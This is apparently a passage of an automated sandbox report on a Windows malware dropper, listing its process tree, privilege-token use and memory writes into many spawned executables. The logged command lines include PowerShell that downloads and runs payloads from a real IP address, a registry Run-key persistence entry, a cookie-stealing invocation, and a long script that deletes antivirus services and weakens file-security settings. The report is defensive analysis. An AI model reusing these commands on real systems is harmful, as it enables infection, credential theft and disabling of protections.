4536	z1v7oQMEGA5W31wseaBz3VOa.exe
4964	HtS0FHvNC7WSZCpN46i8XmJ5.exe
4964	HtS0FHvNC7WSZCpN46i8XmJ5.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

63rxKCo12wO7bjFfeFbUgsME.exeWD3Nh4c9A__20Ksrm8ViBaFS.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	4164	63rxKCo12wO7bjFfeFbUgsME.exe
Token: SeDebugPrivilege	644	WD3Nh4c9A__20Ksrm8ViBaFS.exe
Token: SeRestorePrivilege	4928	WerFault.exe
Token: SeBackupPrivilege	4928	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0965DA18BFBF19BAFB1C414882E19081.exeHtS0FHvNC7WSZCpN46i8XmJ5.exe

description	pid	process	target process
PID 3628 wrote to memory of 1916	3628	0965DA18BFBF19BAFB1C414882E19081.exe	sE1wQsKV6NbFfagvAnzUt51I.exe
PID 3628 wrote to memory of 1916	3628	0965DA18BFBF19BAFB1C414882E19081.exe	sE1wQsKV6NbFfagvAnzUt51I.exe
PID 3628 wrote to memory of 1916	3628	0965DA18BFBF19BAFB1C414882E19081.exe	sE1wQsKV6NbFfagvAnzUt51I.exe
PID 3628 wrote to memory of 1856	3628	0965DA18BFBF19BAFB1C414882E19081.exe	HtS0FHvNC7WSZCpN46i8XmJ5.exe
PID 3628 wrote to memory of 1856	3628	0965DA18BFBF19BAFB1C414882E19081.exe	HtS0FHvNC7WSZCpN46i8XmJ5.exe
PID 3628 wrote to memory of 1856	3628	0965DA18BFBF19BAFB1C414882E19081.exe	HtS0FHvNC7WSZCpN46i8XmJ5.exe
PID 3628 wrote to memory of 1564	3628	0965DA18BFBF19BAFB1C414882E19081.exe	ceORjn2adkxqTS2oOe6u4mId.exe
PID 3628 wrote to memory of 1564	3628	0965DA18BFBF19BAFB1C414882E19081.exe	ceORjn2adkxqTS2oOe6u4mId.exe
PID 3628 wrote to memory of 1596	3628	0965DA18BFBF19BAFB1C414882E19081.exe	a0meNLu9pARmeffoPlzWfmLS.exe
PID 3628 wrote to memory of 1596	3628	0965DA18BFBF19BAFB1C414882E19081.exe	a0meNLu9pARmeffoPlzWfmLS.exe
PID 3628 wrote to memory of 1596	3628	0965DA18BFBF19BAFB1C414882E19081.exe	a0meNLu9pARmeffoPlzWfmLS.exe
PID 3628 wrote to memory of 2104	3628	0965DA18BFBF19BAFB1C414882E19081.exe	YsM0xZEFNIyoPbp3imkQvX8w.exe
PID 3628 wrote to memory of 2104	3628	0965DA18BFBF19BAFB1C414882E19081.exe	YsM0xZEFNIyoPbp3imkQvX8w.exe
PID 3628 wrote to memory of 2104	3628	0965DA18BFBF19BAFB1C414882E19081.exe	YsM0xZEFNIyoPbp3imkQvX8w.exe
PID 3628 wrote to memory of 4124	3628	0965DA18BFBF19BAFB1C414882E19081.exe	Sf5OJqd869gTY8Cyb9x_TdhB.exe
PID 3628 wrote to memory of 4124	3628	0965DA18BFBF19BAFB1C414882E19081.exe	Sf5OJqd869gTY8Cyb9x_TdhB.exe
PID 3628 wrote to memory of 4124	3628	0965DA18BFBF19BAFB1C414882E19081.exe	Sf5OJqd869gTY8Cyb9x_TdhB.exe
PID 3628 wrote to memory of 4132	3628	0965DA18BFBF19BAFB1C414882E19081.exe	oPy3yhdI3Sl8pqvROhznz9Eh.exe
PID 3628 wrote to memory of 4132	3628	0965DA18BFBF19BAFB1C414882E19081.exe	oPy3yhdI3Sl8pqvROhznz9Eh.exe
PID 3628 wrote to memory of 4132	3628	0965DA18BFBF19BAFB1C414882E19081.exe	oPy3yhdI3Sl8pqvROhznz9Eh.exe
PID 3628 wrote to memory of 4140	3628	0965DA18BFBF19BAFB1C414882E19081.exe	ehssg5KK4CtOASkFfxFEOVw2.exe
PID 3628 wrote to memory of 4140	3628	0965DA18BFBF19BAFB1C414882E19081.exe	ehssg5KK4CtOASkFfxFEOVw2.exe
PID 3628 wrote to memory of 4140	3628	0965DA18BFBF19BAFB1C414882E19081.exe	ehssg5KK4CtOASkFfxFEOVw2.exe
PID 3628 wrote to memory of 3644	3628	0965DA18BFBF19BAFB1C414882E19081.exe	5d0AhBbC5xh84qflxZuIga1x.exe
PID 3628 wrote to memory of 3644	3628	0965DA18BFBF19BAFB1C414882E19081.exe	5d0AhBbC5xh84qflxZuIga1x.exe
PID 3628 wrote to memory of 3644	3628	0965DA18BFBF19BAFB1C414882E19081.exe	5d0AhBbC5xh84qflxZuIga1x.exe
PID 3628 wrote to memory of 4204	3628	0965DA18BFBF19BAFB1C414882E19081.exe	K4iXUHBNq5IKVBDhUB1SbJbf.exe
PID 3628 wrote to memory of 4204	3628	0965DA18BFBF19BAFB1C414882E19081.exe	K4iXUHBNq5IKVBDhUB1SbJbf.exe
PID 3628 wrote to memory of 4204	3628	0965DA18BFBF19BAFB1C414882E19081.exe	K4iXUHBNq5IKVBDhUB1SbJbf.exe
PID 3628 wrote to memory of 644	3628	0965DA18BFBF19BAFB1C414882E19081.exe	WD3Nh4c9A__20Ksrm8ViBaFS.exe
PID 3628 wrote to memory of 644	3628	0965DA18BFBF19BAFB1C414882E19081.exe	WD3Nh4c9A__20Ksrm8ViBaFS.exe
PID 3628 wrote to memory of 3948	3628	0965DA18BFBF19BAFB1C414882E19081.exe	WerFault.exe
PID 3628 wrote to memory of 3948	3628	0965DA18BFBF19BAFB1C414882E19081.exe	WerFault.exe
PID 3628 wrote to memory of 3948	3628	0965DA18BFBF19BAFB1C414882E19081.exe	WerFault.exe
PID 3628 wrote to memory of 3852	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
PID 3628 wrote to memory of 3852	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
PID 3628 wrote to memory of 3852	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
PID 3628 wrote to memory of 3952	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 3952	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 3952	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 2020	3628	0965DA18BFBF19BAFB1C414882E19081.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
PID 3628 wrote to memory of 2020	3628	0965DA18BFBF19BAFB1C414882E19081.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
PID 3628 wrote to memory of 2020	3628	0965DA18BFBF19BAFB1C414882E19081.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
PID 3628 wrote to memory of 4172	3628	0965DA18BFBF19BAFB1C414882E19081.exe	soe29ElZkzYGhSRDntT9Vks9.exe
PID 3628 wrote to memory of 4172	3628	0965DA18BFBF19BAFB1C414882E19081.exe	soe29ElZkzYGhSRDntT9Vks9.exe
PID 3628 wrote to memory of 4172	3628	0965DA18BFBF19BAFB1C414882E19081.exe	soe29ElZkzYGhSRDntT9Vks9.exe
PID 3628 wrote to memory of 4180	3628	0965DA18BFBF19BAFB1C414882E19081.exe	JbVzZw_Dc1rxbJdQreY7rfsg.exe
PID 3628 wrote to memory of 4180	3628	0965DA18BFBF19BAFB1C414882E19081.exe	JbVzZw_Dc1rxbJdQreY7rfsg.exe
PID 3628 wrote to memory of 4180	3628	0965DA18BFBF19BAFB1C414882E19081.exe	JbVzZw_Dc1rxbJdQreY7rfsg.exe
PID 3628 wrote to memory of 4156	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 4156	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 4156	3628	0965DA18BFBF19BAFB1C414882E19081.exe	DjRa319FmldItjZQw9YRXds4.exe
PID 3628 wrote to memory of 4164	3628	0965DA18BFBF19BAFB1C414882E19081.exe	63rxKCo12wO7bjFfeFbUgsME.exe
PID 3628 wrote to memory of 4164	3628	0965DA18BFBF19BAFB1C414882E19081.exe	63rxKCo12wO7bjFfeFbUgsME.exe
PID 3628 wrote to memory of 2336	3628	0965DA18BFBF19BAFB1C414882E19081.exe	tstzrz65otEz80V5RoTYW4f_.exe
PID 3628 wrote to memory of 2336	3628	0965DA18BFBF19BAFB1C414882E19081.exe	tstzrz65otEz80V5RoTYW4f_.exe
PID 3628 wrote to memory of 2336	3628	0965DA18BFBF19BAFB1C414882E19081.exe	tstzrz65otEz80V5RoTYW4f_.exe
PID 3628 wrote to memory of 4116	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
PID 3628 wrote to memory of 4116	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
PID 3628 wrote to memory of 4116	3628	0965DA18BFBF19BAFB1C414882E19081.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
PID 3628 wrote to memory of 4536	3628	0965DA18BFBF19BAFB1C414882E19081.exe	z1v7oQMEGA5W31wseaBz3VOa.exe
PID 3628 wrote to memory of 4536	3628	0965DA18BFBF19BAFB1C414882E19081.exe	z1v7oQMEGA5W31wseaBz3VOa.exe
PID 3628 wrote to memory of 4536	3628	0965DA18BFBF19BAFB1C414882E19081.exe	z1v7oQMEGA5W31wseaBz3VOa.exe
PID 1856 wrote to memory of 4964	1856	HtS0FHvNC7WSZCpN46i8XmJ5.exe	HtS0FHvNC7WSZCpN46i8XmJ5.exe

C:\Users\Admin\AppData\Local\Temp\0965DA18BFBF19BAFB1C414882E19081.exe
"C:\Users\Admin\AppData\Local\Temp\0965DA18BFBF19BAFB1C414882E19081.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3628

C:\Users\Admin\Documents\WD3Nh4c9A__20Ksrm8ViBaFS.exe
"C:\Users\Admin\Documents\WD3Nh4c9A__20Ksrm8ViBaFS.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:644

C:\Users\Admin\AppData\Roaming\8702381.exe
"C:\Users\Admin\AppData\Roaming\8702381.exe"
3⤵
PID:4496

C:\Users\Admin\AppData\Roaming\3458832.exe
"C:\Users\Admin\AppData\Roaming\3458832.exe"
3⤵
PID:6040

C:\Users\Admin\Documents\ByqvL0QUzzaYl1k2AItUDBeI.exe
"C:\Users\Admin\Documents\ByqvL0QUzzaYl1k2AItUDBeI.exe"
2⤵
PID:3948

C:\Users\Admin\Documents\DjRa319FmldItjZQw9YRXds4.exe
"C:\Users\Admin\Documents\DjRa319FmldItjZQw9YRXds4.exe"
2⤵
- Executes dropped EXE
PID:3952

C:\Users\Admin\Documents\DjRa319FmldItjZQw9YRXds4.exe
C:\Users\Admin\Documents\DjRa319FmldItjZQw9YRXds4.exe
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4156

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
4⤵
- Executes dropped EXE
PID:3636

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:3328

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:5412

C:\Users\Admin\Documents\wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
"C:\Users\Admin\Documents\wyEyW8KkqQ9Cwm1SA1IYEcvR.exe"
2⤵
- Executes dropped EXE
PID:3852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 856
3⤵
- Program crash
PID:2256

C:\ProgramData\Runtimebroker.exe
"C:\ProgramData\Runtimebroker.exe"
3⤵
PID:5672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 732
4⤵
- Program crash
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 768
4⤵
- Program crash
PID:5136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 784
4⤵
- Program crash
PID:5876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 796
4⤵
- Program crash
PID:5952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 984
4⤵
- Program crash
PID:3876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 1032
4⤵
- Program crash
PID:2848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 1068
4⤵
- Program crash
PID:5712

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
4⤵
PID:4452

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
4⤵
PID:2108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
5⤵
PID:6532

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete 